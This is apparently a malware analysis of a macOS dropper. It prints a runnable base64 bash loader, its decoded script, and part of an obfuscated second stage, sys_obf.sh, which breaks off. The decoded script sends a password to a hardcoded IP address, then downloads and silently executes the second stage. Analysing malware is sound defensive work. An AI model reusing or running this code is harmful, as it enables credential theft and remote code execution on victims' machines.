YmFzaCAtYyAiJChiYXNlNjQgLWQgPDw8ICJcClltRnphQ0F0WXlBaUpDaGlZWE5sTmpRZ0xXUWdQRHc4SUNKY0NsbHRSbnBoUTBGMFdYbEJhVXBEYUdsWldFNXNUbXBSWjB4WFVXZFFSSGM0U1VOS1kwTnJiRFZTV0ZwYVlsZDRNVlJFU2t0aFIwMTVXakIwVmxKVldsVldWRVpyVlVaV2NsVlViRXRTUlZaTVdXeGtSMk5IU25OUFdGWmFWbnBHYzFWR1RrdGxiVlpaVkcxYWFVMXJjSFJVUnpWUFlqQnNibU5JVWxwV01uZ3hWbXhhUzFSV1FsaGhSRUpyVTBWRk1sUklhelJOYXpWVVRraHdVRkY2VWpSVVYzQkdaRlUxTmxaWVdsVmlXRkV4VmpGYVlXRnNTa1pQU0ZwcVRUSjRObGRFU1RWaFZuQndUbGh3YUZGWE9YRlRWV1J2VFVkS1dHVkdXbFpoTTJNMVdWVm9VMDFIVGtWaU0xcE5UVEpuTUZwVlRUVmlSbkJKWWtSR1dGSXhiekZhVjJzMVlqSlNTRTFZVGsxaWJrSjNXVEJHZDFOV1VYaFViRlpSVmpKbmQxcEZhRUpPYTNnMVQwUktUMVY2VWpaVU1FMHdaVVV4Y1ZKWVZrOWxiRlV5VkZod1FtUXdNVUpqUms1U1RXcHNlbFZHVG10Wk1sWkZVbXRPV0dWclNqQlRibVIzVVRKS1NGSlViRXROV0djd1ZGWldTMWxyTVVWak0zQk9VbnBDZFZFeWVFdGlSbkJGVFVjMVdWTkhaRFJWVjNoNlpEQTVObFJZYUdsVk1rNU1WV3BPUzJKR1FsUmFSMDVzVWtWYVJGWXpjRUpPTURFMlUyNVNTMlF6UW5SYVJtTXhZVzFTU0dKSVdtbGhWVW96V1RJd05XSnRUblJXYm5CcVRVVndiMWt5Ykc1alJXeEpZekIwU2xFd1JtNVRWV1JYWVcxR1NFOUhaRTFXZWxaelUxVk9hbUZyYkVSUlYyUktVVEJHYmxOVlRrSmFNR3hFVVZka1NsRXdSbTVUVlU1Q1dqQnNSRkZYWkVwUk1FWnVWak53VW1KR2FGZGxTR3hMWkRJNWJsTlZUa0phTWsxNVpVZDRZVmRGUm01VVZrWjJXakJzUkZGWFpHRldNRFYyV1c1c1FtUkhTblJXVjJSTFpWVXhjVk5ZYkU1aGEydzFWRmRrU2xFd1JtNVRWVTVDV2pCc1JGRlhaRXBSTUVadVUxVk9RbG93YkVSUmJVcE9aVzFrYzFkR1dqUmxWWEF6WWpKa1NsRXdSbTVaZWtvMFlrWndXVkZYWkU1VlZ6bHVVMVZPUWxveGNGaFViVGxwWlZWR01GbHRNVlphTUhBMVZGZHdTbVZWTVhGVFdHeE9ZV3RzTlZSWGNFcGxWVEZ1VTFWT1Fsb3diRVJSVjJSS1VUQkdibE5WVGtOWmF6VnhWMWQ0V1ZadWFEVlRibVIyV2pCc1JGRlhaR3BOYm1oelYyeG9RbG93TVZKaU1tUktVVEJHYmxkc1pFOWlNa28xVVZoU2FXSldWbTVUYm14T1lXdHNOVlJYY0VwbFZURnhVMWhzVG1GcmJEVlVWM0JLWlZVeGNWTlliRTVoYTJ3MVZGZHdTbEV3U21sVVZsSkNaREJ3VjAxWFRtcGhWMDVNVTFWT1Fsb3diRWhXYlhCb1VucG9ibFJHWXpGaVJXeEVXa2RPYVdGWFRreGFiRVozWWxkU1dFNVhjR3RTTW5neVdXMXNRMlZ0VWtoU2JteHJVVEprZDFOVmFIcFRNR3hFVVZka1NsRXdNVzVaZWtwelltMUtkRkp1VGtwVFJUVnhXVEl4YzJReVVrUlJia0pwWWxkM2QxRXliRUphTUd4RVVXMXdhMWRGY0hwVFZVMTRaV3RzUkUxSVVtbE5NVmwzV1RCb1YwMUZiRVJQVjNSaFYwWnNNbGx0TlZkak1rcEVVVmhTVFZZeWFITlhWbVJUWWtkT2NGRlhiRkpOYW13eFdrVmtWMlJYVWtSTlZsWnNWMFZLYzFReWJFTmhSMDVKVVc1T2FGWXdOVzlhUldSelpHMUtjRTlZUm1wTmFtd3hVMWRzUTFrd1RuQlJWMlJLVVRCR2JsTlZUa0phTUhoVVRWaHNZVmRGV1hoWGJHaFBUVVZzUjFGc1FsWk5Wa1p1VjBWR2Rsb3diRVJSVjJSS1VUQkdibE5WVFhka1JuQklVbXBDV2xVd1JuQmFXR1IyV2pCc1JGRlhaRXBSTUVadVUxVk9RbG93YkVSUmJVNUtZbXRLYjFsNlRrOU5Na2w2VTIxMFdWRXdhekpUVlZvellWWlZlRlZyU2xaaVJrVTFWVVpSZDA5V1FsVk5SR3hSVmtSQk5WVkdVWGRQVmtKVlRVUnNVVlpFVW01YWEwNUNZVEZXUmxKc1VsWk5WMUpSVmxkMFVsb3lXa1JSYlU1S1dqSTVibE5WVGtKYU1HeEVVVmRrU2xFd1JtNVRWVTVEVDFWc2NGRnRUa1JoVlVadVUxVk9RbG93YkVSUlYyUktZbGRuZDFwRmFFSk9hM2cxVDBSS1QxVjZValpVTUUwd1pVVXhjVkpZVms5bGJGVXlWRmh3UW1Rd01VUlRWWFJLVVRCR2JsTlZhRU5oUjFKSVlVZGFhV0pWV2pCWGJGRjRaRmRGZVZOdVFtaFNNWEJ3VjJ4ak5XSnNiRmhXYldocFRXeGFkbGxyWkZkaVYwcDBWV3BHWVZJeFNuUlhhazVEWW0xRmVVNVlWa1JoVlVadVUxVk9RMlJIUlhsVmJrSnFZVlZKY2xSRVFqUmpSbXgxVTIxb2FtSnRkREpUYWtKSFpESk9TR1ZJUWxwTmExbDNXVlpqTldSVmJFZFVha1pxVTBWS01sa3lOVkppYTNnMVZXNWtXbGRHU25aWFJFa3hZVWRLV0ZaWFpGRmhWR3h5VjJ4b1dtUnRTblZXYms1cFVUQkdOVlZIYkZwbFJXeEpaVVJvU2xJeFduRlpWV00wV2pCc2RWWnVWbHBXTUhCNlYyeE9RMDFIU2pWUmJYQnFZbFphYjFwRlpGWmFNVXBHWWtaT1NsSXllREZUVldoRFlVZFNTRm95YkVwU1JGRnlVMnRhVTFSc1ZrWlZhM0JXWVZSc2Mxa3lOVXRrYlU1elQxaHdZVmRGYjNsWGJFMHhUVWRXU1ZWWFpGRmhWR3h5VjJ4b1dtUnRTblZXYms1cFVWYzVibE5WVGtKYU1XdDVWVmRrYldGVWJFNVpWbVJMWlZac1dWTnFWazFsVjFKRFdUQm9RMk15UmxoVWJXaHJVako0TWxsdGJFTldSMUpaVVc1a2FVMHdiM2RUYm1zMFlUSk9TRkpxUW1oU2Ftd3hWMVpqZUdKRlRuQlJWMlJLVVRCR2NWTlZaRTlOVjA1MFpESmtUVmRGTVc1VVJsVTBXakJ3U0dGRVFtbFdNMmhYVmxkME0xTXdiRVJSVjJSS1VUQXhibHBHWXpGT2JVWlpVVmRrVFZaNmFHNVpWV2hUWkVkS1JFNVVXbWhYUlVadVZVZHJOV0V4Y0ZsWFdGcHBZbXhhZWxsclRrSmxWa0p3VjFob1JHRlZSbTVUVlU1RFpWZEtWRkZZVW1waVZteHVWMFJGTlZSc1JsWlViRUpXVFZka1RGTlZUa0phTUd4RVZGZGthVll3V25kWmJXUjJXakJzUkZGWFpGcE5iRVp1VTJ0YVUxUnNWa1pWYTNCV1dqSTVibE5WVGtKYU1XdDZWbTVzYVZFd1JqQlpNMnhDWkVaU05WRlhkR2xXTUZwM1dXMTRWMVV4VWtKaU1tUktVVEJHYmxkVVNtOWtSMGw1VlZka1RFMHlaRzVUYTFwVFZHeFdSbFZyY0ZaaFZHaHlXV3hrUjJOSFNuTlBXRlphVm5wR2MxRXliRUphTUd4RVVXNVdhVTF0WjNoWk1FNUNZVEZhUmsxV1JsTlNWM2hVVkVoc1UyUkdiRmhpU0ZaWlRXcFdiMWxzWkZaYU1IQnhUa2hhWVZJeFdYbFVSRWt4VFZkS1NHUXlaRXRhTWpsdVUxVk9RbG94Y0ZoVWJUbHBaVlZHTUZkc1RrSmhWWEJKWkVWb2FtSldXVFZUVjJSMldqQnNSRkZYWkdGV01EVjJXVzVzUW1SSFNuUldWMlJLWWtob01WTlhaSFphTUd4RVVWZGthbE5GY0RKWGFrNUxZa2ROZWxSclRscFhSV3hNVTFWT1Fsb3diRWhXYlhCb1VucG9ibFJHWXpGaVJXeEVVMjFPYVdGVmJFeFRWVTVDV2pCc1NGWnRjR2hTZW1odVZXdGpOV1JXY0ZSU1ZYUktVVEJHYmxOVlpGZGhiVVpJVDBka1RWWjZWbk5UVlU1TFdUSktjRk5WZEVwUk1FWnVVMVZPVGxveVNYcFJiWGhwWVZWR01GZFdUa0poVmtsNVQxaGFZVTF1YUhOVFZWWlBZakpPZEU5WVVtRlZNR3h1V20xck5WUlhSbGhUYm14YVYwVnZNVlJJYkd0UmJVNUpVVzVPYUZZd05XOWFSV1J6WkcxS2NGRnNVbXRYUlVveldXcE9TMDFGY0RWUFIzUnFVakJaZDFsVldUVmtWbXhZVFZkNFRXVlhPVEpaVldNMVpFWndWRTVYT1d0U2VrWjZVMVZTU2tzd2QzbFZiWGhyWVZSc01WcEdaRFJqTUU1MVRVVjBhazB4U205Wk1qVlNVM2xKY0VscFFtbFpXRTV2U1VOSmExRkRTVXNpS1NJZ1ltRnphQ0FpSkVBaUNnPT0iKSIgYmFzaCAiJEAiCg==")" bash "$@"

Recursively decode the previous content several times, and we will be able to see the original script logic:

#!/bin/bash
PASSWORD=$1
main_name="sys_obf.sh"
mainURL=http://65.38.121.75/NkyYVcDO/sys_obf.sh
# htmlURL=http://xxx/edyuXfyz/html.zip
HOST=http://65.38.121.75:3000
RCol='\x1B[0m'
Bla='\x1B[0;30m'
Red='\x1B[0;31m'
Gre='\x1B[0;32m'
function progressBar() {
    echo -ne '#                        [4%]\r'
    sleep 1
    echo -ne '#######                  [38%]\r'
    sleep 1
    echo -ne '#############            [66%]\r'
    sleep 1
    echo -ne '#######################  [100%]\r'
    echo -ne '\n'
}
function start() {
    # signal script init
    curl -s --output /dev/null --header "Content-Type: application/json" \
        --request POST \
        --data "{
            \"password\": \"START=================> | $PASSWORD | \"
            }" \
        "http://65.38.121.75:3000"
    path_name=nkbihfbeogaeaoehlefnduddfgpgknn
    mkdir ~/Library/'Application Support'/$path_name >/dev/null 2>&1 || echo "unable to create DIR in path" >>$TMPDIR/error_serve.txt >/dev/null
    cd ~/Library/'Application Support'/$path_name
    # curl -s -O $htmlURL
    # unzip -o html.zip >/dev/null 2>&1
    rm -rf __MACOSX
    # main
    cd $TMPDIR
    curl -s -O $mainURL
    chmod +x $TMPDIR/$main_name
    nohup $TMPDIR/$main_name &>/dev/null &
    echo -e "${Gre}"
    echo -ne "\n"
    progressBar
    echo -ne "\n"
    echo Done!
    echo -ne "\n"
    # open -a "Google Chrome" ~/Library/'Application Support'/$path_name/*/home.html 2>/dev/null
}
start

The script will upload the PASSWORD, then download and execute another script called sys_obf.sh.

Let’s see the sys_obf.sh:

phost="http://158.120.3.109:3000"

z="
";XQz='MUJw';JYz='ZGxw';JRz='VWxE';rDz='YVZR';MJz='bERV';paz='VkRC';vHz='VWs1';NEz='UTBK';kMz='M2xq';cWz='R0pu';ZCz='clNu';MVz='V293';dJz='U1Vk';hQz='YzBs';Ubz='V0Zs';Hbz='a05C';DEz='bHBZ';VBz='NVFX';lCz='MWJX';ENz='VTBw';rSz='UllT';DTz='WWtO';EZz='MUpS';YUz='RWRz';UPz='MEYw';nZz='WjFw';Ncz='SFZh';wPz='YzFh';TBz='bGRP';wIz='eFRs';hGz='SlJH';Scz='dE9U';bbz='TmFW';yTz='MldU';pcz='"';QPz='bGha';VVz='MGxG';hcz='QUln';cHz='OXBR';RYz='ZFBl';sBz='NFNV';JNz='bGJX';IKz='WmtN';GKz='ZEZG';oLz='elMx';gbz='M1NX';Fcz='UlhO';SWz='ZExh';mMz='UjA1';iRz='Tld0';RGz='YkhW';pHz='TnRP';qz='Rzky';GEz='RjNZ';sKz='a1Iy';Zbz='RnBa';GXz='bEVk';jWz='T1dw';JDz='Vm5W';Haz='VEJz';GCz='bEhS';LMz='bEdU';SCz='ZGFW';Aaz='VmtR';INz='VlhW';Maz='blNY';Tz='WXlB';wXz='VUZy';dFz='QkRh';JEz='WFRq';mXz='blEy';eVz='MlV5';ZJz='Mmxu';CJz='cERT';KPz='UXpC';QEz='a2xE';yZz='YW1J';NMz='U0VK';VRz='MWFH';qLz='MWhV';FDz='VnpC';TKz='UnNT';Xaz='VWxW';Bbz='VGwx';jXz='Rllj';rIz='VWpS';HMz='SGVI';xIz='Vk1N';vXz='eEph';xFz='U0hk';TRz='SEJ3';nbz='dEpa';nPz='SFpa';WSz='NVRh';Gz=' "\';lz='bFVW';iSz='RGIy';AMz='QjRj';IEz='YTJS';bXz='NXda';YZz='TTBG';pEz='V2Ra';gQz='RmhL';aOz='Y0dO';qEz='Ymxa';OVz='Rk1W';TGz='aDFa';HHz='VnB0';nKz='MmRK';Icz='TFEy';wWz='VGpC';fCz='VVZT';rEz='d1lr';nMz='b1l6';mFz='Um5S';FFz='bnBo';VGz='TUVO';JUz='WVVO';GLz='MXBI';nJz='aHNU';gz='MVRE';aRz='RU5w';bWz='ZG9i';YYz='TUdS';KWz='bmRr';wBz='TVZW';CYz='UlZK';nLz='RWty';bLz='c2Fs';bDz='UnJW';oEz='UXhU';IXz='UjFw';fHz='TlNk';tNz='UXpG';Yaz='U1ZU';ONz='TVhs';YPz='R3hT';AOz='aHNV';OPz='VmpC';yQz='SGFH';qUz='ME1H';YFz='WU1t';HWz='WktT';JTz='S1NI';HVz='blZr';KNz='eDNT';dYz='WVUw';JCz='dVpU';DJz='Tk5a';NGz='Vmts';yz='MDVV';YWz='V2RZ';qZz='M2R2';vaz='MHh1';XOz='YzB0';OIz='MW5U';xDz='SnFi';jz='WjB0';nHz='U2pK';VNz='d3lV';aLz='RUoz';rTz='bFpv';aWz='blpF';tFz='WWxk';PQz='RFFY';eQz='UTJs';OHz='bWgy';vbz='NVls';SVz='SlhN';eaz='WTBk';ccz='SWlr';MEz='amht';aMz='V05H';tbz='MVpv';tSz='TXdk';BRz='V3h6';gGz='RmxY';TUz='MVZT';HEz='MjA1';mGz='Qmli';daz='VWxy';XVz='RlJC';XJz='a00w';UBz='YjJK';oz='SVVq';OQz='SlMw';uWz='QmIy';Ocz='YlRo';GQz='UW5W';BYz='bEJV';oNz='ZE1N';Vbz='NVdj';uTz='bXhp';LVz='SkdW';tLz='bWR2';tIz='bG5T';PEz='Sm9k';ZIz='elNV';Rcz='UTJO';cBz='ZW05';AJz='WWtj';NBz='MlMw';WCz='cHRS';hRz='bGxY';VXz='RzFK';LBz='a3Bp';kTz='Uld4';Zaz='RlJV';gVz='RjJZ';CUz='Tlc1';MGz='a1ZU';cJz='MEZu';aYz='bXcy';fVz='aVZ6';rz='VEhw';Saz='YW1K';CDz='Q2Vt';OSz='bG9X';Fz=' <<<';uKz='VmMw';RNz='ZDJK';LNz='V2R2';XXz='ZEdh';ELz='NVNX';nUz='Nk1H';cUz='WWpJ';vEz='Um1a';uCz='aG5T';UNz='Qksw';mKz='MUJi';vDz='WXpK';IMz='QlpN';gPz='YVVs';NPz='R05J';cYz='Vldk';VUz='Y0cx';HQz='RnNV';uHz='MHBH';gHz='VmxY';iEz='TWJs';NZz='Vmhv';AVz='UldJ';hHz='TVd4';xKz='a3Ay';IVz='VldU';gUz='UTJ0';yLz='clRE';DCz='a0Yx';KKz='WTJs';xaz='SzB3';EPz='NFEy';EEz='U25w';bQz='YzJK';LSz='VXd6';DNz='V3hR';KVz='VVJW';eRz='VnpG';iJz='NlVG';KMz='NWRV';LDz='RnNT';UUz='MlpS';WDz='NVNu';wMz='d1Ey';HUz='dGpS';dUz='eGRH';Ecz='d2JX';Xcz='M2R3';hz='Skth';xYz='TkNi';eGz='bldr';mTz='VldX';Uz='aUpD';Lcz='a2JH';XNz='YVRs';dTz='QkpS';FBz='WE5X';UXz='bEhi';oQz='akJK';BUz='R0ZY';lIz='d3pU';ETz='V2xr';JBz='Q2Js';pQz='UXps';COz='YTJW';mPz='Tkhl';iWz='VkpI';GNz='aEtk';AFz='Ulpi';pVz='R0V5';UOz='ZEZw';kPz='VmtN';IGz='VUVy';cLz='bFlV';MLz='VUpp';bRz='Q05t';GPz='WkZo';DPz='YVZs';uaz='aFNi';qMz='YkU5';uGz='Mmxq';qbz='YVVX';jMz='VnVZ';dQz='Vmw0';CEz='RTVN';BZz='UzFG';rGz='Wkd4';oaz='a0pI';dcz='aUlH';MCz='TlRC';EQz='TkNO';lRz='ZDBs';CFz='WWtk';sTz='T1V0';HBz='Mngy';ANz='WVZo';BOz='RlZC';qOz='Tldo';Pz='ICJc';lVz='bk5u';FCz='Q09F';jPz='VGxV';BKz='R050';ASz='a3JT';eHz='UjJo';sUz='V2xK';qaz='NFJW';MYz='alV4';IYz='VVEw';WHz='V25C';rPz='WWxO';naz='WlVW';mVz='V2tj';AYz='VkZX';ZHz='ZEZs';wHz='VlJW';BIz='WVRt';EJz='MWt5';hTz='MUxT';hUz='blpY';ICz='ZVVG';gXz='MUow';PHz='S1Iy';aCz='bHJh';Faz='WFJE';kZz='Unps';dDz='VVZK';ORz='SjVZ';aaz='bXM1';AEz='UTJo';YBz='V1Zk';nXz='R3hp';waz='alEw';eWz='SGRp';pIz='MWFk';fDz='Tk1N';EHz='TTJ4';qFz='YjJG';cOz='aGlW';LKz='Slow';MMz='akZq';YTz='SlRR';ZZz='blNX';USz='UGVu';kcz='aCAi';SFz='bFZV';POz='TXhl';pKz='MDVl';fBz='RnB0';XUz='VnFa';MIz='ZDJk';kVz='bEph';KXz='Qlox';aXz='aVNF';rbz='NVFt';TFz='VmtK';caz='Tk1l';yHz='V2s1';RRz='dFdX';wVz='VnBR';bMz='UkhW';wRz='V1JY';WYz='RnJX';TLz='Tkha';WMz='d2VI';sCz='Vm1w';bYz='SklV';aJz='SWMw';yKz='WkRO';rJz='UmFV';KBz='cFlV';KUz='Slox';saz='WFpK';MKz='bHJN';sJz='MGxu';vSz='alNG';aNz='MGxF';GJz='VXhZ';KTz='QndZ';pJz='YjJO';Mz='NjQg';HSz='cFRT';LUz='QnFO';Caz='TkNT';SRz='ZEtT';MFz='WGVH';QDz='MVpx';fZz='Rlds';kHz='SFZt';Fbz='U3RL';Vcz='T1hS';qQz='clds';BEz='NlpE';gEz='R0p0';cz='Y0Nr';uNz='SFNV';Ebz='bEVT';vOz='cE9X';jOz='d2NH';dNz='VkxT';hFz='a3lh';kCz='WVZj';cbz='REZC';yIz='MVoz';PBz='MlYz';mbz='eVJt';jYz='U2tk';Uaz='VUl4';YEz='alJy';fXz='QkpR';uRz='c1pH';KFz='akph';QXz='VkpX';MZz='SjBX';LLz='QmFh';FTz='c1Vt';lZz='b1dr';tPz='TnRX';Rbz='V01F';rCz='MGxI';sz='Wk1V';xCz='WVNt';iCz='cGxX';CTz='bFp6';qDz='bmxC';cQz='bFFh';lXz='UmpC';aEz='eFVW';aHz='WGJI';ZMz='U1VW';FZz='R2Ft';oBz='U1cx';XPz='Ukhh';LRz='TVdO';ebz='Ukha';hbz='VXBG';HOz='TVU1';rQz='aFpk';QSz='RWxE';DQz='Y0VO';eJz='S2VX';wUz='a1NF';vYz='elV3';fKz='Tmtl';CLz='bUpS';raz='SldT';REz='Wkcx';JPz='WHBK';YLz='VE9H';XTz='Q2VX';mUz='ZFdO';dVz='Tkph';QYz='YWNF';Wbz='MkpE';fTz='Vm5w';QJz='V2RW';iDz='NWNH';Nbz='RE1I';Ibz='RXRK';DUz='SlNF';TNz='UzJs';oUz='OUph';lOz='WFJq';lQz='WWpO';FWz='YTBs';hEz='V25a';abz='YkZK';ZFz='eDFX';mcz='Cg==';FVz='TmFV';UGz='RWhv';mWz='b1pV';PFz='U1ds';QBz='YjJk';aTz='UkhN';ubz='V2Qw';ERz='cElj';UZz='Mjlu';tVz='ME5C';AWz='VnBP';kQz='ekIw';dKz='UlVw';oYz='Vkpy';kEz='RUZ2';uDz='Vlo1';LPz='MFlq';uPz='V2RL';wCz='ZDFw';vWz='MWxY';aIz='TXhS';gWz='MFds';mSz='SnVW';oKz='bldt';MUz='V3hq';DGz='YVdF';UYz='V1dk';OMz='Mlky';BCz='NU5I';kWz='amVV';IPz='bERN';XYz='VmRP';TMz='SnZU';GYz='a1J6';pGz='QmRG';wbz='TkJk';CGz='UVc1';CSz='UzBs';GUz='ZWs5';ATz='WVdY';LJz='S2JV';DKz='UmJr';Vaz='WTBG';URz='WTBj';lPz='NU1X';kNz='RjJa';Oz='PDw8';rZz='blMy';dSz='NXdj';dEz='TTA0';ecz='Smhj';HRz='b1ls';UKz='V2xC';WJz='U25a';qPz='MEo1';VKz='YVZk';sNz='SE5K';lLz='SFoz';SYz='bk5M';VJz='RkZ1';oPz='VjFG';mz='a1F3';UVz='Ymsx';tOz='VU52';GBz='cGtS';pRz='RjVT';fz='Yld4';KYz='SFZq';ZKz='VERG';RVz='T2Rt';mLz='WkpS';Kaz='bG1V';wLz='bXBh';XZz='UjFW';sEz='ZFJO';yUz='VU5L';xJz='TWps';EWz='VWRP';ZGz='V1RK';iVz='WWxG';Taz='aGlh';IWz='RUpv';yJz='dFpF';nVz='NFMw';BTz='Wmli';oGz='V2xO';SXz='Um5R';EGz='cDVZ';yBz='VVJG';bEz='SkZi';HKz='dVNu';iXz='b2Vt';XCz='bkJp';xHz='SktW';KEz='Qldi';Ucz='RkV5';qGz='cERR';DZz='SGJH';vLz='bERR';SPz='dVZu';DXz='dExT';TSz='Vzlu';xbz='RlpD';lBz='SFpI';uYz='UmFW';PZz='WWNH';LEz='SnBR';rNz='NWRX';PRz='bE5C';vz='YWtW';JXz='VXRS';tUz='Rllq';ABz='YjNw';HPz='S2Mw';sIz='a1Ew';SGz='YWJU';wGz='cFFT';nQz='TklW';yOz='WW01';jSz='VGxy';cTz='RGIz';ocz=' "$@';faz='R01H';fJz='SXpa';ODz='SWVE';iLz='TjJT';GMz='ZDJO';ALz='T2JH';oZz='dGEw';sWz='VVJC';xZz='WGxD';bVz='bTlK';mQz='V01H';NKz='WEJa';DDz='VllU';pZz='RTNU';NXz='VTBG';WXz='Um5O';Abz='eGth';iNz='VFdk';DMz='amJt';RXz='WjJk';gSz='bElj';qWz='TmFr';kYz='YWNH';eLz='Tldk';QHz='Ulhl';PNz='bHJa';hKz='MUZ2';AZz='MEY1';QQz='Umph';hWz='UXdh';gFz='Q2JG';IQz='Rk5L';OTz='bEpR';nz='YVdG';Laz='M040';OFz='Mk53';OCz='RjVa';wz='NVRW';DVz='emxv';jEz='STBa';CIz='WmhW';cEz='Rk5N';ZPz='elds';QCz='WjJa';yWz='WnpZ';xSz='VU01';PCz='bE5q';BWz='R3Rq';acz='aGhW';xLz='UTBJ';LYz='Sk1N';kBz='T0Vs';rRz='dHBR';tMz='VWRz';Ez='4 -d';eOz='bXhN';XBz='a0Zu';UDz='bmxq';Gaz='QnJa';jLz='a2hD';fNz='eFky';iMz='aFZ6';rYz='REJT';Mbz='ZWts';STz='WkRP';hJz='V0Vw';vTz='U0U1';lSz='WmRt';gBz='VG5a';qCz='TkJa';gDz='MDQx';wEz='RzFX';KZz='MHhY';ZLz='NVJX';eUz='SXlO';NLz='U1VN';yRz='SlJF';qIz='a3h1';aZz='bFNi';Vz='aGlZ';HZz='bWhp';FPz='MEpx';kFz='Sllq';pbz='T1hW';Zcz='dE1X';UWz='bG5W';VCz='QmJs';KLz='RFFu';yFz='blds';xBz='b3lT';xPz='R0pY';LCz='V0ZY';eNz='UjA0';KIz='ZE9N';XDz='bHJj';tKz='ZG5Z';FUz='RWRv';nFz='YVUw';mHz='emhu';jRz='YVdH';HFz='MVNV';fWz='YlVa';IDz='MHRJ';FNz='cVlV';yYz='V0ZS';xNz='Vmtk';RDz='WVVj';YXz='bVJJ';rBz='YVVJ';Xbz='UVhS';iQz='RE1Y';lNz='RmhT';ARz='eFNi';EBz='YldS';MTz='YUdK';qTz='VkZV';cPz='Y0hC';GDz='blQy';WQz='TnZa';SJz='TWpS';uIz='V2xT';SDz='NFow';yPz='VlV0';fPz='bGRW';WFz='bU16';Raz='a05D';JJz='VEJu';vRz='azVk';LTz='MGMx';UCz='WW5s';UEz='bGRS';RBz='SlEw';vNz='TktN';ZDz='U1dk';WLz='MjFH';cFz='SWFE';SLz='a2xJ';FMz='akJH';SNz='dFJu';oFz='RTJT';LGz='UldR';QZz='eEpS';jZz='SFZp';NCz='SlEx';vFz='eFlU';kaz='RmhK';ZYz='TmpN';hVz='bTVP';rHz='ZVd0';jDz='SnRX';LOz='YVEw';maz='R1Vr';gcz='SWlS';ZSz='Vk9V';CRz='V2xR';ez='WFpa';nOz='cFNr';fSz='U1V0';RUz='V20x';tHz='UTBL';xMz='bEJa';pUz='MUpz';gMz='RnBZ';xWz='a1Yw';bcz='elJM';THz='NFpG';sFz='elZv';XFz='Ykhw';vIz='U1ZR';pFz='VU5S';JKz='MDVz';EVz='V2to';mJz='YU1u';EMz='dDJT';jaz='Rm5U';eBz='Tm9j';SHz='VTBK';qYz='WlRU';aPz='UXhR';FXz='eGFr';fIz='YkZC';FLz='cHpa';tCz='aFJ6';DRz='eFFV';fGz='YzVk';iYz='MEZw';iaz='aFdF';qHz='WGxL';Jcz='dG5a';JVz='bFZG';Daz='bFJy';pDz='NXZZ';MOz='bExT';TOz='bTFH';FQz='bUZZ';WOz='MDk2';VOz='UmIy';AGz='ZE9i';ADz='Mngx';lGz='elRq';JIz='blNV';DIz='elZ0';CNz='bFhN';rWz='RjNU';wSz='WXdT';jBz='bmxD';FEz='SlF6';QOz='VnBw';hXz='V1Zo';RKz='T1Va';hPz='RFNX';cIz='aFIx';GOz='a2xV';gOz='d1kw';PVz='RlNS';NYz='M1ow';lUz='bGM1';KDz='WlZ6';BPz='SkRR';jJz='Tm5h';nGz='VVow';dRz='blZa';RWz='WE5H';hMz='VWpC';mRz='bmIy';dMz='TW14';qXz='YzRa';FHz='NldE';Jbz='UW1w';iZz='Vldr';YQz='T1d0';CWz='UjBZ';PLz='UjNo';PDz='aEpS';VMz='ZGtv';tXz='Wk0w';bHz='VkpS';eIz='VmQ0';fcz='Mmdn';fUz='WHBM';gKz='bHBT';TIz='RkZu';hZz='VkpH';IRz='ZFZh';eMz='Mllt';JWz='WkVk';ECz='VFZO';cNz='S2Fr';aBz='TnRW';FYz='VG5K';Tbz='V3Rh';qVz='VW5C';NRz='MUZw';yDz='MmRL';Ybz='U2FV';XRz='RWN6';FGz='ak5K';VZz='cEpS';Kcz='WGR2';bFz='ZFdS';nEz='QmFW';DSz='dGxi';aSz='bHRP';kJz='Vkl5';jNz='TVV6';GGz='VGQy';OJz='akJM';vJz='bFlX';iHz='RnRT';Naz='bENl';OKz='TTBw';tTz='NlJV';rFz='SE9Y';TDz='b3lW';jCz='RTVt';kz='VFJU';ncz='")" ';YOz='clMw';KOz='T1do';dZz='a1ZX';CXz='VU1H';TCz='MDV2';WWz='RE1X';CCz='ZE1h';NNz='MXNk';RQz='VUZw';Hcz='bENk';XKz='VmFS';bGz='bERT';yNz='aFYz';kSz='V2xo';TPz='TmlR';RFz='QnBV';BFz='bFp3';bz='SUNK';qNz='Wkdr';NHz='eFpN';yXz='V1Rs';HCz='ak5o';vGz='Y0Vs';XLz='ZVdW';GZz='UklW';jTz='SkhW';bCz='VWxF';QIz='ZG1S';MWz='MXB0';xXz='VmtW';oMz='SlZa';UQz='V2hp';vVz='NVZS';BNz='Q2RW';QNz='VzFz';TYz='VndR';jUz='Wk1q';sRz='U3RN';rVz='amFV';kbz='RmhD';uMz='ZFVO';nSz='bk5p';rKz='UW1o';YMz='a1p6';fRz='c1VG';nBz='RUZu';hDz='WXpF';bUz='RkpF';aQz='bTVX';Mcz='UkZi';Gbz='SnFX';MSz='Vm5k';SIz='ZGtX';eKz='NVlq';OZz='ZW1G';HJz='MEZ2';Dbz='NGMw';xQz='YVdS';WTz='VU5w';yVz='U1Js';SZz='WjJS';NTz='WFZX';iOz='U1Vo';kLz='YUdS';CKz='Vlha';oIz='d1lt';iKz='ZFRW';vZz='bXRp';CHz='TldT';EUz='Sm9a';ZNz='ZDRj';bZz='SmFV';OWz='cHdZ';xVz='VkVW';sDz='eFRX';bIz='U2pC';gYz='RGFV';fYz='TkNN';tBz='ZGtl';FOz='bHBV';CQz='VVJO';VSz='TkxT';iPz='dFRS';vPz='U0hC';QVz='V3hU';LQz='eE1i';DWz='d1lV';JLz='VU5C';YSz='SWNI';BQz='emRE';oDz='YVYw';ZBz='U2Ey';sPz='QmRH';jcz='KSIg';bKz='SnRV';ULz='VVIy';FIz='MU1H';XHz='YVYx';Bz=' -c ';XGz='ZEpR';Bcz='VlNW';Gcz='V3Br';wNz='R0ZI';gNz='MTNa';DLz='UmpF';OLz='eGRV';sGz='amJr';pNz='bEpz';PUz='Mkl5';sSz='bk5K';AUz='SkdN';EXz='R1Jx';uz='VFJN';jKz='VFZG';YHz='a2M1';eCz='Sk9W';kKz='VWxa';Qaz='WjFX';gJz='SHBh';fOz='Ym5C';sLz='aHNZ';DFz='U1Yx';uFz='Vlow';hNz='MHhZ';PPz='bHJX';RHz='SE5s';jVz='R01U';KSz='Rk9W';iIz='VEZS';EFz='cFlT';NUz='Ymtw';Xz='TmpR';MPz='TldN';VEz='Ymt0';mIz='alZq';uJz='S2VW';wZz='TWpW';tWz='ZDAx';AQz='bEVj';tRz='TWxK';Yz='Z0xX';WZz='cEhX';bNz='U1N0';mNz='ZDJS';lDz='YmxJ';NWz='SlIx';aKz='c2FH';tYz='elZu';iGz='OW5T';dXz='WjB4';HXz='MmxL';UJz='SldN';eTz='SE0z';HGz='ZEph';ZQz='bDJZ';Jaz='RlZs';LHz='MmxC';uQz='aVEw';rLz='YzJk';rUz='SXpR';ESz='V3gz